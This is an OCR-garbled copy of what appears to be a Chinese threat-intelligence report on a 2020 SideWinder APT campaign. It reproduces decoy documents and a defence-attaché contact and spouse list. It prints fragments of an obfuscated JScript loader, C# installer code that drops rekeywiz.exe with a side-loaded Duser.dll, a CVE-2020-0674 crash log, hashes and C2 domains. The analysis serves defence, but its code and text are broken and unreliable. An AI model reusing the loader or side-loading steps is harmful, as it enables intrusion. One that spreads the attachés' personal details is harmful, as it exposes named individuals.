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Post Box No. 1039

Rawalping 051-8771614-13

No. SD/10-A/RebateReld
To AN CSD Zonal Offces

;H Jun 2020
All CSD Shops (Retad)
PMG Sec (Comm Oiv) - Please issue PCL of Retd AF Pers robate card form
info: QMG Branch (QMG Corporate) - Please disseminate the bym infio to il through DAS.
GHO Rawalping:

Care Abwned Shujah, DGWR -
Naval Headquarters, Sector E-9,
Istamabad.

Suby  Rebate on CSO Purchans for Retired Armed Forges
Air HO ISB & no Alr HOV/13834/1AWNel dated 22 Nov 2019 refs.
1 To faciitate Retired Armed Forces Personnel of Army, Navy and Air Force. the compelent
ithonty has spproved the extension of CSD Special Rebate 1o the retired employees of AF as & spacial
case. Rebate ceiings are as under: -

a 3 % discount upto shopping of Rs 15,000/-.

b. S % discount on one Bme shopping of Rs 15,000/ and above.
2 Te process of issuing of CSD Special Rebate Cards 1o retired Armed Forces Pers, 8 SO is endd
for guidance / implemeniation. In this regard. hardoopy / specimen of format for provision of data 1o CSD
s also attached al (Anz-A) i this lir which is availabie in CSD Shops at Rs 2000
3 [LRiv G50 Hopd Office Only  Fiase ensure fol actions: -

a Process dela received from the Relired Armed Forces Pers ihrough CSD Shops and
prep / issue CSO Special Rebale Cards. A copy of the SOP an the subj, s encl for
guidance / imolementation.

b. umummmwmmm.umumucammmdm
after horcugh checking.

4 [Please ensure strict compliance.

LAk 2 Gk A % 1Y) E o

Standing Operating Procedures
Issue of 3% Special CSD Rebate Cards
To Retired Armed Forces Personnel of
Army, Navy and Air Force
1. Bre-requisites Pre-requisites for issue of 3 % CSD Special Rebate Card for Retwed Armed
Fummul’kmy.hlwrul-d;hr Force will be that individual must have original pension
book, Retd Ammy Card and CNIC.

2 Eocal Person  Concemed shop Mgr will be a focal person for processing Retd AF Pers
Raebate card after checking of oniginal Pension Book, Army Reld card and CNIC of applcant

3 Erecessing of Data

a  AF Retd Pers will get prescribed original application form costing Rs 200/~ from CSD
Shop dided by IT Div) for of 3 % Special Rebate card.

b Applicant must show his original CNIC, Army Retd Card and Pension book and
provide 2 x copées of each to Shop Mgr.

< Shop Mgr after checking of original docs countersign the form and copies of CNIC,
Asmy Retd card and pension book and fwd to IT Div CSD HO.

d. [T Div afler checking the docs will fwd the Retd AF Pers special rebate card 1o
concerned shop after actvation.

4 Ereparption, Dispatch & Issue of Rebate Cards
a Cards will be prepared by IT Division, CSD Head Office and will be dispaich 1o the
concermned shop along-with 8 delivery challan,
b Cards will be ready for coliection after 2-3 weeks from the date of bio-Data receved
date.
€. Concermned shop Mgr will hand over the card 1o the concerned Retired AF Pers in
person and obitain & receipt for record.

5 Agtivation of Cargds No activation is req for Retd AF Pers

6 Miscollancous Al Retal Shop Mprs wil ensure the following: -

8. Incase of death of Retd AF Pers, next of kin of indl wil immediately submit Retd AF
Pers card 1o nearest CSD Shop g for of card and get
card receipt from Shop Mgr

a mum«wcsusmmumummmrm
Personnel wil be same as described al, * ~ . EJ’"U‘N ) _,..|—”

b Cand wil be valid for 3 years and re-actials—Js par above POCEOLT —

CRPREFER &I 3 (S IEEIRS
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Pak Army Deploved in Country in Fight

Against Coronavirus

Pakistan armed forces have been taken positions across the country, assisting
federal and provincial administrations in order to ensure enforcement measuras for
cantrol of COVID-19,

“The armed forces are in action from the day one for implementing the decisions
made by the Mational Security Committee and directives lssued by Prime Minister
Imran Khan,” he zaid while briefing media about the actions dispenzed to contral
carsnavirus in the country.

Flanked by Special Assistant lo Prime Minister on Health Dr Zafar Mirza and SAPM
on Information and Broadeasting Dr Firdous Azhig Awan, ha said Chiel of Army Staff
Ganeral Gamar Javed Bajwa has instructed all the farmations of Pakistan Army Lo
reach out to the civil administration at district and tehsil levels in thair respective
domains fo control the crisis, "The amed forces are wiilizing all resources to
cooperate with the lecal administration to counter the pandemic,” he said. Out of 10
airpors in the country, he said, three are operating at present in Islamabad, Karachi
and Lahore where the armed forces persennel re helping out passengers' screening,
From March 21, Sialkot, Multan and Peshawar airports will alzo go operational,
where the passengers’ inflow and outflow will be jointly monitored by the amied
forces and civil administration personnel, he said. The armed forces and civil
administration re callectively engaged in screening, scanning. facilitation and shifting
of suspect cases at all the entry points of the country, he added.

Under the national support effort, the ISPR chief said the ar»d foroescpesy )
prepared a Mational Action Plan for healthcare keeping in view the ircreasing fi R‘er .
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OFFICE OF THE REGISTRAR
IBDVALIZ102/REG
5 April, 2020
NOTIFICATION

POLICY GUIDELINES: ONLINE TEACHING DURING CLOSURE OF
AIR UNIWVERSITY DUE TO COVID-19

Introduction

1. Consequent to closure of academic institutions in Pakistan due to COVID-19, Air
University anticipating the uncerainty associated with such a pandemic opted to provide
uninterrupted education to its students by adopting online teaching under the initial
guidelines izsued by Higher Education Commission. This paradigm shift and transition
brought forth unforeseen challenges for both teachers and students. The feedback received
from all stakeholders was deliberated at length at University Functional Committee, to
formulate quality control measures incuding adding new tools to the LMS to facilitate online
teaching and bearning.

2. As the online instruction system continues to mature, detailed policy and procedures
on quality of online teaching have been instituted in light of HEC policy guidelines dated 28
March and 02 April 2020. This Policy aims to ensure quality online education and continuity
of the ongoing semester for timely complation of degrea programds.

Scope

3. inhis policy provides guidance to FMs, all the students of Undergraduate and
Graduate programs regarding online classes, attendance mechanism, evaluation process,
application of relevant academic rules and regulations and redress of grievances. While we
pray that Air University reopens on 01 June, 2020 (Insha’ Allah), the policy would remain
valid till COVID-19 threat recedes and education institutions are reopened for regular
education. Necessary revisions would be issued to cater for unforesean prolonged closure.

Policy Guidelines

4. Based on policy documents referred at Para 2 inter alia, following guidelines are

izzued for all concerned:-
(a) Air University would conduct online classes for Undergraduate and
Graduate students according to Spring - 2020 scheme of studies and timetable
for respective programs till the closure of university for Eid-ul-Fitr holidays.

[5)] Air University constituent Medical Colleges will also follow respective
yearly academic schedule through online classes to cover theoratical part of
instruction.

{c) Ajr University would continue to utilize Google Classroom and Zoom as
LMS along with ite mature automation systemn. Additionally, other LMS tools

Page 1 of 3
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try{

var noyiH = ActiveXObject:;
y gignBx = String.fromCharcCode;
function ttda(str) {
bed = " I
b, result = "",
rl, r2, i = 0;
(; i < str.length;) {
b = b64.indexOf (str.charAt (i++)) << 18 | b64.indexOf (str.charAt (i++)) << 12 |
(rl = bé6d.indexOf (str.charAt(i++))) << 6 | (r2 = bé6d4.indexOf (str.charAt(i++)));

result += rl === 64 ? giQnBx(b >>
r2 === 64 ? giQnBx(b >> 16 & :

gignBx(b >> 16 & 255, b >
urn result;

n XVGUdT]j (key, bytes){
res = []:
(var i = 0; i1 < bytes.length; ) {
for (var j = 0; j < key.length; j++) {
res.push (gqignBx ( (bytes.charCodeAt (i)) ~ key.charcodeAt(j))):
i44; ? e
if (i >= bytes.length) { ("] GCOWK%B*

j = key.length;
}
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this, instfolder = Program. {this. instfolder). Trim() ;

thiz. domain = Program. {thiz. demain). Trim(} ;

this. regkey = Program. (thiz. regkey). Trim() ;

ztring text o 4 o . SpecialFolder.
this. instfolder) ;

atring text? = .

if (! . {text2))

1

{"Hwindir®\ A\ syswowB4 WA

text? = . (CHwindick \systend2iiT)
H
thiz. copyexe = text2 + this. copyexe;
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1

throw new Exception("4lready installed™);
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string =2 = text3.PadRight (20, * ")
array = thiz.ReplaceBytes (array, Encoding. LGetBytesz iz}, Encoding. .GetBytes(22)) ;
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string s3 = new string (X, 6O0);
string =4 = thisz. UrlCombine (thiz. domain, url).FadRight (500, © )
array2? = this.ReplaceBytes (array?, Encoding. .GetBytes (s3), Encoding. .GetBytes=(=4)) ;
array? = Program. {array2) ;
(this. copyexe, . (text, . (this. copyexe)), true);
{ . (text, "Duser.dll™), array):
{ . (text, textd. Trimi)), array2);

: { . (text, . (thiz. copyexe) + ".config”), E ing, . GetByte
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rl‘t;‘"l Bangladesh Indenting Agents' Association
rrt;r- Bangladesh Indenting Agents' Association
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http-equiv=

language="
resrced =
shellcodesd

shellcodegd 4= ™
resrc

shellcode

::-<:J-"'5cr1ipt;~ % GcowR£HPA

Fr24-CVE-2020-0674F! F

(558.83c): Access violation - code ceeeeees (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000080 ebx=055bb958 ecx=5ff500bb edx=00000002 esi=055bb778 edi=edf@29de
eip=69cfcfbb esp=055bb758 ebp=055bb77c¢ iopl=0 nv up ei pl zr na pe nc
cs5=001b s55=0023 ds=0023 es=0023 fs=003b gs=e000 efl=00010246

*%%* ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\jscript.dll

jscriptipllcanunloadiow+6x39eb:
69cfcfbb efbre7 movzx  eax,word ptr [edi] ds:ee23:edfe29de=????

B:007> ? eip-jscript

Evaluate expression: 118715 =|@@eicfbh

8:007> lmvm jscript

start end module name

69ced000 69d8608@  jscript (export symbols) C:\Windows\System32\jscript.dll
Loaded symbol image file: C:\Windows\System32\jscript.dll
Image path: C:\Windows\System32\jscript.dll
Image name: jscript.dll

Timestamp: Tue Dec 17 @8:27:24 2019 (SDF820EC)

CheckSum: POPB0P120

ImageSize: 0eOA6000

File version: 5.8.9600.19597

Product version: 5.8.9600.19597 e P N =l rd|
File flags: @ (Mask 3) = SeowizZ= L,
File 0S: 4 Unknown Win32

Bl F25-5 22 JFPOCH 15t i i 562 — 5K

shellcode = B f 8541k A RS M C2_EF T 345 — Beshellcodef@ &5 Hh 47 Ja Bt 13 fin BB 40
A FFENLZFRAItmp SO DR A net REE A B B S0 . A0 26 1 45 S il exe e 541
FFHLA JES . RN RS LSCHE, X BEAERIR.
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Composition of New Board:
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E Fr32-F HHAFC i1

AFC(Asian Football Confederation)#5 1 &M M R EREE A

FHFETNVEE A, PO TR, AR, AR X

& W

@ e

RN EHESS

Asian Football Confederation, 2

[ Function Rank Name Country Email
President COL Rune STATVIG Norway rune.stotvig@mfa.no
Vice COL Chikara IWAKIRI Japan chikara.iwakiri@mofa.go.jp
President
Vice COL Paulo MUNOZ Chile agremil.cn(@ejercito.cl
President
Secretary MAJ Colin BARCUS USA BarcusC@state.gov
Treasurer COoL Robson LOUZADA De LIMA Brazil adidefaer.china@outlook.com

FERREIRA

Event WG MOHAMMED BELLO Muazu Nigeria mbmbellog@gmall com
Coordinator CDR __‘-i;__J_’f}F,L,d L‘I‘

pAERAET. @, EPI-‘:! RESE. E. MERAT. B, #E. BELE, FaE.

BRTEMRES, SEthBER EHETHRTRARR 45— RAIHIT.

& F33-AFCHaify

e AT

T1954F5HeFEFR=D R, Bls
sitERdm| BEsK
ERBRKETEAEIRTREER, BHREOFRISRE, HIEPReAs B R EHESE, S SNERE

Bk S A E

al
AN

2 IZH A EGE H RS

Asian Football Confederation

() G e B

[i) If SR AT T34 S i 2] 7 5% oA I KRBkt & ASPAC(Asia Pacific Network of

Science and Technology Centres) W4 AiES

BMALC Journal 2020 template - Members of ASPALC

COUNTRY HAG PARTICULARS

Military Attache-

Rank: Colonel:

Service: Armye

Given Mame: Ghulam Sakhis
Family Name: Faizi Spouse-
Name: Nafisa-

Deputy Defense Attache:
Rank: Major+

Service: Armye

Given Names: Folad-

PICTURES

Eamily Name: 53l Spouse-
Name: Hahiba:

Defence Attache. —
Rank: Celonel: .

Service: Armye

Given Name: Rachel Family

Narma: Harrige

Assistant Defence Attache:

Rank: Squadron Leader

Service: Air Forces

Given Names: Kimberley

Farily Name: Wilzan

AUSTRALIA«

e ..
. .

Name: Danlel Riedel:
Defense Attache-

Rank: Brigadier General
Service: Armye

Given Name: Md Sirsjul
Islame

Family Name: Sikder

Mame: Esrat Sikders
Assistant Defence Attache:

[Nawy)
Ranlk: Commanders

Service: Navw'

BANGLADESH:

35 VR AR ) Lt 1 3 o

BMACTGUrnal 2020 template - Members of ASPAC

COUNTRY HAG

“

& F34-LIASPAC, BMACHi& Mii/E

HEr A FikE LI, XEAFHR.

https://mp.weixin.qq.com/s/SmBgxf_v6GO06EnjECoTHw

PARTICULARS

Assistant Defence Attache
[Air Force)-

Rank: Wing Commander
Service: Al Forees

Given Mames: Khandker
Manwaruk

Family Name: Hague
Spouse:

Nome: Tahera Sultans+

PICTURES

Defense Attache -
Rank: Lieutenant Colonel
Service: Air Foree:
Given Name: Azmies
Iskandar -
Family Name: Ariffin
Spouse-
Name . Ismawsti-'
Defense Attache -
Rank: Major Generale
Service: Armys
Given Name: Vibol-
Family Name: Mao-
es
Name: Lauvhelaudy-

Deputy Defense Attache
Rank: Lieutenant Colonel
Service: Armye

Given Names: Chankiry:
Family Name: Yang-
Spouse:

Namme: Chin Chanthes-
Defense Attac' < °- -
Rank: Major Ge, | * f’JH “f‘ ;Z'
Service: Army
Given Name: lin Family

Name: Jon Spouse+

~Ir/ |
F A
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FixkSideWinderEz
FriERaEE S exp i

Commdruswr =
pacurl = "";

m_buf_Rsp
1shift = 16;

_ e o GcowR L HRA
Figure 3: Part of JavaScript for IE Exploit [2 3Rl e AL WEE v T R B
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ox03.4b B i 5 451

Ab L

HErC:\ProgramData\ | o] fE FE7E I SEMLL I SCHFJe . fFFErekeywiz.exe,
Duser.dll, rekeywiz.exe.config, {E{l.4}.tmp

g It AR R P & firekeywiz.exed T Hig 2 & AT Swindirs\System32 5§
H Swindirs\syswow64 T, WURANFEIEMESZRAATER H R FIFRENLIA tnp X, sk
FAERERHES.
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451k
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69A173DC32E084E7F1E1633526F80CA2
DBB09FD0DA004742CAC805150DBC01CA
2C798C915568B3FD8EE7909C45A43168
865E7C8013537414B97749E7A160A94E
3AD91B31956CE49FE3736C0E7344228D
D7187130CF52199FAE92D7611DC41DAC
B6932A288649B3CEB9A454F808D6EB35

7E461F6366681C5AE24920A31C3CFEC6

C2

nrots[.]net
www.do1fa[.]net
www.fdn-en[.]net
ap-ms[.]net

rodps[.]net
www-afc[.]Jchrom3[.]net
cloud-apt[.]net
www.link-cdnl[.]net
katox[.]net

wwwl.]au-edu[.]kmo1s[.]net

0x05.MH K4 fz:

https://blog.trendmicro.com/trendlabs-security-intelligence/first-active-attack-
exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group/
«https://mp.weixin.qq.com/s/yxUTG3Qva169-
XiYVopAyQ-https://mp.weixin.qq.com/s/9LfEIDbKCrQX1QzGFISFPwehttps://mp.weixi
n.qq.com/s/Kb_woHp1imiaCgDZyHLHNgA-https://mp.weixin.qq.com/s/CZrdslzEs4iwla
TzJH7Ubgehttps://bbs.pediy.com/thread-259500.htmehttps://blogs.360.cn/post/apt-c-
06_oday.html«https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-oday.html

https://mp.weixin.qq.com/s/SmBgxf_v6GO06EnjECoTHw 24/25


https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247494317&idx=1&sn=8a2aae0d9d6f3705dcc2790622f82417&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247491138&idx=1&sn=716ed14552f6c3f31d502ae4f6e12e08&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzU4NDEwNDgyMw==&mid=2247486502&idx=1&sn=b31acc85cc6cf830d9dbce96916f2be5&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzUyNzk2NDcwMw==&mid=2247484380&idx=1&sn=ed7cb176fec030cb6205f5ff7a453c39&scene=21#wechat_redirect

71312020 I A S K — — R (SideWinder) APTZLS1202045 1 2K 45 1 3 4 5 4

afF+

P Y

S %
p

https://mp.weixin.qq.com/s/SmBgxf_v6GO06EnjECoTHw

o SiETemal, BhHE%

anguanplus =ED. JFEREFHER

£ R 2.

o penn  ERHSEEEIERSe

WMETIRE  EmivssmRESSS
- AT

B/l (shadowsec)
EEERREE DT . ;
gh afodabdodfeg THE/AE —FrARTH, —FRERER

I SRRES,

et TR
- Growrg =il

25/25



